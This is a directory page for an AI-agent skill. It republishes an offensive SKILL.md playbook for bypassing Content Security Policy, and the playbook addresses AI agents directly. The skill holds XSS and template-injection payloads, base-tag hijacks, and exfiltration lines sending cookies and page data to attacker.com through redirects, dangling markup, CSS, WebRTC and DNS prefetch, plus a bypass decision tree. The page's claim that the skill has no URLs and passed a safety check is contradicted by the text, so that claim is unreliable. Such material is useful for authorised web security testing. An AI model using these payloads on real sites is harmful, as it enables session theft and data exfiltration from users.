New: 98,000+ skills indexed from GitHub repos with 100+ stars · every skill safety-checkedBrowse top skillsTop skills
Esc to closeBrowse all skills
Submit a skillBrowse skills
Submit a skillBrowse skills

Agent skill

Csp Bypass Advanced

by yaklang in yaklang/hack-skills

Advanced Content Security Policy bypass techniques. An agent skill from yaklang/hack-skills.

MITAuto-check passedSecurity

Install Csp Bypass Advanced

skills CLI
$ npx skills add yaklang/hack-skills --skill csp-bypass-advanced -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install yaklang/hack-skills csp-bypass-advanced --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/csp-bypass-advanced .claude/skills/csp-bypass-advanced && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
csp-bypass-advanced
GitHub stars
2.4k
Token cost
~3.1k tokens
SKILL.md length
954 words
Files
1
Skills in repo
27
Repo updated
First seen
Licence
MIT

At a glance

Advanced Content Security Policy bypass techniques. An agent skill from yaklang/hack-skills.

  • Works in 7 steps: RELATED ROUTING → CSP DIRECTIVE REFERENCE MATRIX → BYPASS TECHNIQUES BY DIRECTIVE → …
  • Data exfiltration is blocked by CSP and you need to find policy weaknesses
  • SKILL.md covers 0. RELATED ROUTING, 1. CSP DIRECTIVE REFERENCE…, 2. BYPASS TECHNIQUES BY… and 3. CSP IN META TAG vs. HEADER, plus 3 more sections
  • Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

Csp Bypass Advanced is an agent skill from yaklang/hack-skills. Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.

Its SKILL.md is about 3.1k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Web application vulnerabilities. The repository describes itself as: Helping AI Agent become an awesome practical hacker! The licence is MIT.

When your agent uses it

  • Data exfiltration is blocked by CSP and you need to find policy weaknesses
  • Trusted endpoint abuse
  • Exfiltration channels that CSP cannot block

Example prompts

  • “/csp-bypass-advanced”

Workflow steps

7 steps, taken from the step headings in SKILL.md.

  1. RELATED ROUTING
  2. CSP DIRECTIVE REFERENCE MATRIX
  3. BYPASS TECHNIQUES BY DIRECTIVE
  4. CSP IN META TAG vs. HEADER
  5. DATA EXFILTRATION DESPITE CSP
  6. CSP BYPASS DECISION TREE
  7. TRICK NOTES — WHAT AI MODELS MISS

What it can do on your machine

Read from SKILL.md and the folder at commit 6fbf0bc. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md (its code samples are html and javascript).

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Csp Bypass Advanced loads about 3.1k tokens when it runs. Until then it costs about 63 tokens; SKILL.md has 954 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~63
When it runs · the whole SKILL.md, loaded when a task matches
~3.1k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from yaklang/hack-skills at commit 6fbf0bc, republished under its MIT licence (© yaklang). 954 words, ~3,053 tokens.

Download SKILL.mdSave it as .claude/skills/csp-bypass-advanced/SKILL.md (or your agent's skills folder).
name
csp-bypass-advanced
description
Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.

SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest unsafe-inline bypass without checking if the CSP actually uses it, or miss the critical base-uri and object-src gaps.

1. CSP DIRECTIVE REFERENCE MATRIX

DirectiveControlsDefault Fallback
default-srcFallback for all -src directives not explicitly setNone (browser default: allow all)
script-srcJavaScript executiondefault-src
style-srcCSS loadingdefault-src
img-srcImage loadingdefault-src
connect-srcXHR, fetch, WebSocket, EventSourcedefault-src
frame-srciframe/frame sourcesdefault-src
font-srcFont loadingdefault-src
object-src<object>, <embed>, <applet>default-src
media-src<audio>, <video>default-src
base-uri<base> elementNo fallback — unrestricted if absent
form-actionForm submission targetsNo fallback — unrestricted if absent
frame-ancestorsWho can embed this page (replaces X-Frame-Options)No fallback — unrestricted if absent
report-uri / report-toWhere violation reports are sentN/A
navigate-toNavigation targets (limited browser support)No fallback

Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.

2. BYPASS TECHNIQUES BY DIRECTIVE

2.1 script-src 'self'

The app only allows scripts from its own origin. Bypass vectors:

VectorTechnique
JSONP endpoints<script src="/api/jsonp?callback=alert(1)//"></script> — JSONP reflects callback as JS
Uploaded JS filesUpload .js file (e.g., avatar upload accepts any extension) → <script src="/uploads/evil.js"></script>
DOM XSS sinksFind DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param
Angular/Vue template injectionIf framework is loaded from 'self', inject template expressions: {{constructor.constructor('alert(1)')()}}
Service WorkerRegister SW from same origin → intercept and modify responses
Path confusion<script src="/user-content/;/legit.js"> — server returns user content due to path parsing, but URL matches 'self'
2.2 script-src with CDN Whitelist
script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net
Whitelisted CDNBypass
cdnjs.cloudflare.comHost arbitrary JS via CDNJS (find lib with callback/eval): angular.js → template injection
cdn.jsdelivr.netjsdelivr serves any npm package or GitHub file: cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js
*.googleapis.comGoogle JSONP endpoints, Google Maps callback parameter
unpkg.comSame as jsdelivr — serves arbitrary npm packages
*.cloudfront.netCloudFront distributions are shared — any CF customer's JS is allowed

Trick: Search for JSONP endpoints on whitelisted domains: site:googleapis.com inurl:callback

2.3 script-src 'unsafe-eval'

eval(), Function(), setTimeout(string), setInterval(string) all permitted.

javascript
// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))
2.4 script-src 'nonce-xxx'

Only scripts with matching nonce attribute execute.

BypassCondition
Nonce reuseServer uses same nonce across requests or for all users → predictable
Nonce injection via CRLFCRLF in response header → inject new CSP header with known nonce, or inject <script nonce="known">
Dangling markup to steal nonce<img src="https://attacker.com/steal? (unclosed) → page content including nonce leaks as URL parameter
DOM clobberingOverwrite nonce-checking code via DOM clobbering: <form id="nonce"><input id="nonce" value="attacker-controlled">
Script gadgetsTrusted nonced script uses DOM data to create new script elements — inject that DOM data
2.5 script-src 'strict-dynamic'

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.

BypassTechnique
base-uri injection<base href="https://attacker.com/"> → relative script src resolves to attacker domain. Trusted parent script loads ./lib.js which now points to https://attacker.com/lib.js
Script gadget in trusted codeFind trusted script that does document.createElement('script'); s.src = location.hash.slice(1) → control via URL fragment
DOM XSS in trusted scriptTrusted script reads innerHTML from user-controlled source → injected <script> is trusted via strict-dynamic
2.6 Angular / Vue CSP Bypass

Angular (with CSP):

html
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}

Vue.js:

html
<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>
Show full SKILL.md (378 more words)Show less
2.7 Missing object-src

If object-src is not set (falls back to default-src), and default-src allows some origins:

html
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">
2.8 Missing base-uri
html
<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->

This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.

2.9 Missing frame-ancestors

CSP without frame-ancestors → page can be framed → clickjacking possible.

X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.

3. CSP IN META TAG vs. HEADER

html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Meta tag limitations:

  • Cannot set frame-ancestors (ignored in meta)
  • Cannot set report-uri / report-to
  • Cannot set sandbox
  • If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
  • If page has both header CSP and meta CSP, both apply (most restrictive wins)

4. DATA EXFILTRATION DESPITE CSP

When connect-src, img-src, etc. are locked down, alternative exfiltration channels:

ChannelCSP Directive Needed to BlockTechnique
DNS prefetchNone (CSP cannot block DNS)<link rel="dns-prefetch" href="//data.attacker.com">
WebRTCNone (CSP cannot block)new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})
<link rel=prefetch>default-src or connect-srcOften missed in CSP
Redirect-basednavigate-to (rarely set)location='https://attacker.com/?'+document.cookie
CSS injectionstyle-src<style>body{background:url(https://attacker.com/?data)}</style>
<a ping>connect-src<a ping="https://attacker.com/collect" href="#">click</a>
report-uri leakN/ATrigger CSP violation → report contains blocked-uri with data
Form submissionform-action<form action="https://attacker.com/"><button>Submit</button></form>

DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.

5. CSP BYPASS DECISION TREE

CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│   ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration

6. TRICK NOTES — WHAT AI MODELS MISS

  1. default-src 'self' does NOT restrict base-uri or form-action — these have no fallback. This is the #1 CSP mistake.
  2. strict-dynamic ignores whitelist: When strict-dynamic is present, host-based allowlists and 'self' are ignored for script loading. Only nonce/hash and trust propagation matter.
  3. Multiple CSPs stack: If both Content-Security-Policy header and <meta> CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
  4. Content-Security-Policy-Report-Only does not enforce — it only reports. Check for the correct header name.
  5. Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
  6. Report-uri information disclosure: CSP violation reports sent to report-uri contain blocked-uri, source-file, line-number — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
  7. data: in script-src: script-src 'self' data: allows <script src="data:text/javascript,alert(1)"> — trivial bypass, but commonly seen in real-world CSPs.

© yaklang, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/csp-bypass-advanced of yaklang/hack-skills.

Open the folder on GitHubat commit 6fbf0bc

Compare with similar skills

Csp Bypass Advanced next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Csp Bypass Advanced compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Csp Bypass Advanced this skillyaklang/hack-skills2.4k—~3.1kAutomated safety check: PassMIT
Security And Hardeningpenpot/penpot61k6 repos~4.7kAutomated safety check: NotesMPL-2.0
Security Auditoreigent-ai/eigent15k—~1.8kAutomated safety check: NotesApache-2.0
Security Reviewjewbetcha/opentrace11618 repos~3.1kAutomated safety check: NotesMIT
Strix Code Vulnerability Scanusestrix/strix68k—~1.1kAutomated safety check: PassApache-2.0
Code Audit3stoneBrother/code-audit8921 repos~2.7kAutomated safety check: PassNone

Similar skills

  • Security And Hardening

    penpot/penpot

    Hardens code against vulnerabilities. An agent skill from penpot/penpot.

    61k GitHub starsUsed in 6 repos~4.7k tokens
    SecurityAuto-check: notes

  • Security Auditor

    eigent-ai/eigent

    Audits source code, dependencies and config files for vulnerabilities and hardcoded secrets, using two bundled Python scanners and an OWASP Top 10 checklist.

    15k GitHub stars~1.8k tokensUpdated yesterday
    SecurityAuto-check: notes

  • Security Review

    jewbetcha/opentrace

    A skill your agent uses when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features.

    116 GitHub starsUsed in 18 repos~3.1k tokens
    SecurityAuto-check: notes

  • Strix Code Vulnerability Scan

    usestrix/strix

    Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.

    68k GitHub stars~1.1k tokensUpdated yesterday
    SecurityAuto-check passed

  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    892 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed

  • Fix Strix Security Findings

    usestrix/strix

    Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.

    68k GitHub stars~1.5k tokensUpdated yesterday
    SecurityAuto-check passed

More from yaklang/hack-skills

All 27 skills in this repo

  • Anti Debugging Techniques

    yaklang/hack-skills

    Anti-debugging detection and bypass playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~3.4k tokensUpdated 27 days ago
    Auto-check passed

  • API Auth And JWT Abuse

    yaklang/hack-skills

    API authentication and JWT abuse playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~567 tokensUpdated 27 days ago
    Auto-check passed

  • API Authorization And Bola

    yaklang/hack-skills

    API authorization and BOLA testing playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~449 tokensUpdated 27 days ago
    Auto-check passed

  • API Recon And Docs

    yaklang/hack-skills

    API reconnaissance and documentation review playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~456 tokensUpdated 27 days ago
    Auto-check passed

  • Attack Surface Mapping

    yaklang/hack-skills

    Draw a testable attack surface from one authorized target URL or one application.

    2.4k GitHub stars~2.6k tokensUpdated 27 days ago
    Auto-check passed

  • Classical Cipher Analysis

    yaklang/hack-skills

    Classical cipher analysis playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~4.8k tokensUpdated 27 days ago
    Auto-check passed

Categories

Questions about Csp Bypass Advanced

What does Csp Bypass Advanced do?

Advanced Content Security Policy bypass techniques. An agent skill from yaklang/hack-skills. Csp Bypass Advanced is an agent skill from yaklang/hack-skills. Advanced Content Security Policy bypass techniques.

When should I use Csp Bypass Advanced?

Csp Bypass Advanced fits situations like: data exfiltration is blocked by CSP and you need to find policy weaknesses; trusted endpoint abuse; exfiltration channels that CSP cannot block.

How do I install Csp Bypass Advanced in Claude Code?

Run `npx skills add yaklang/hack-skills --skill csp-bypass-advanced -a claude-code`. Or copy the skill folder (skills/csp-bypass-advanced in yaklang/hack-skills) into .claude/skills/csp-bypass-advanced in your project. Claude Code loads it when a task matches its description.

How do I install Csp Bypass Advanced in Codex?

Run `npx skills add yaklang/hack-skills --skill csp-bypass-advanced -a codex`. Or copy the skill folder (skills/csp-bypass-advanced in yaklang/hack-skills) into .agents/skills/csp-bypass-advanced in your project. Codex loads it when a task matches its description.

Can I use Csp Bypass Advanced in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add yaklang/hack-skills --skill csp-bypass-advanced -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/csp-bypass-advanced, .gemini/skills/csp-bypass-advanced, .github/skills/csp-bypass-advanced and .opencode/skills/csp-bypass-advanced in your project.

What does Csp Bypass Advanced need to run?

SKILL.md names no scripts, command-line tools or credentials: Csp Bypass Advanced is instructions for the agent only.

Does Csp Bypass Advanced access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Csp Bypass Advanced safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Csp Bypass Advanced use?

Csp Bypass Advanced is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Csp Bypass Advanced use?

About 3.1k tokens (SKILL.md is roughly 12k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Csp Bypass Advanced?

Skills that share tags, products or a category with Csp Bypass Advanced: Security And Hardening (penpot/penpot, 61k stars), Security Auditor (eigent-ai/eigent, 15k stars), Security Review (jewbetcha/opentrace, 116 stars) and Strix Code Vulnerability Scan (usestrix/strix, 68k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Csp Bypass Advanced?

yaklang (a GitHub organization) maintains it in yaklang/hack-skills, which has 2,418 GitHub stars. The repository holds 27 skills in this directory. The repository was last updated on September 13, 2026.

Source: yaklang/hack-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.